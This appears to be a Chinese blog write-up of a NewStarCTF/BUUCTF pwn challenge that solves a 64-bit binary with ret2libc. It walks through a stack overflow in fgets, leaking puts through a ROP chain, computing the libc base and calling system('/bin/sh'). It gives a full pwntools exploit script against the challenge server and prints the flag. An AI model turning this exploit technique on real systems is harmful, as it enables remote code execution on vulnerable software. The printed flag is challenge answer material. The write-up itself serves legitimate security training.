[NewStarCTF 公开赛赛道]ret2libc(BUUCTF)

检查一下:

64 位程序,开启 NX 保护

ida 反编译看 main 函数

fgets 存在栈溢出

程序本身无 /bin/sh 字符串

 也没有 system 函数

并且给了 so 文件,开启 NX 保护,我们考虑打 ret2libc 

利用思路:

利用 puts 函数泄露 puts 函数的真实地址,然后计算 libc 基址

进而我们就可以获取到 system 函数和 /bin/sh 字符串的地址了

先测一下偏移:

offset = 40

因为 puts 函数就一个参数,我们这里只需要用到 rdi 寄存器

由于可能还需要平衡堆栈,我们把 ret 的地址也记录一下

pop_rdi = 0x400753
ret_addr = 0x40050e

构造 payload:

payload1 = cyclic(offset) + p64(pop_rdi) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(main_addr)

关于 payload 的详细解释: 

首先,溢出后返回到我们的 gadget: pop rdi ;ret 

此时 rip 指向  pop rdi ,rsp 指向 puts 函数的真实地址

 pop rdi ,puts 函数的真实地址出栈到 rdi

接下来 ret,我们继续调用 puts 函数,打印出其真实地址

puts 函数调用结束,返回到 main 函数

因为我们还需要再次执行 fgets 函数溢出,进而去执行 system 函数

为什么不能直接跳到 fgets 函数而是要跳到 main函数?

我们可以看一下,在 call fgets,main 函数会对 rdi、rsi、rdx 三个寄存器进行设置

如果我们直接在调用 puts 函数后跳过去,用的就是当下寄存器的值

由于寄存器是通用的,执行其他代码肯定会变的,rdi 都不一定是指向 s

所以我们需要跳到 main 函数

构造 payload2:

payload2 = cyclic(offset) + p64(pop_rdi) + p64(bin_sh_addr) + p64(ret_addr) + p64(system_addr) 

同样先溢出,将 system 函数的参数 /bin/sh 弹入 rdi 寄存器

平栈后,调用 system 函数,即可 getshell

也是调试了一会儿,特别注意这里 64 位程序需要堆栈平衡才能打通

完整 exp:


# @author:My6n
# @time:20250520
from pwn import *
from LibcSearcher import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('node5.buuoj.cn',25448)
elf = ELF('./pwn')

offset = 40
puts_plt_addr = elf.plt['puts']
puts_got_addr = elf.got['puts']
main_addr = 0x400698
pop_rdi = 0x400753
ret_addr = 0x40050e

payload1 = cyclic(offset) + p64(pop_rdi) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(main_addr)

#gdb.attach(io)
#pause()

io.sendlineafter('Glad to meet you again!What u bring to me this time?',payload1)

#io.recvuntil('Ok.See you!')
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))

libc = ELF('./libc-2.31.so') 
#libc = LibcSearcher('puts',puts_addr)
#libc_base = puts_addr - libc.dump('puts')
#system_addr = libc_base + libc.dump('system')
#bin_sh_addr = libc_base + libc.dump('str_bin_sh')

libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search('/bin/sh'))


payload2 = cyclic(offset) + p64(pop_rdi) + p64(bin_sh_addr) + p64(ret_addr) + p64(system_addr) 
io.sendline(payload2)
io.interactive()

没有问题,拿到 flag:

flag{4c8eba59-4153-44ab-b5a9-1fa0710b5ba4}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

My6n

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值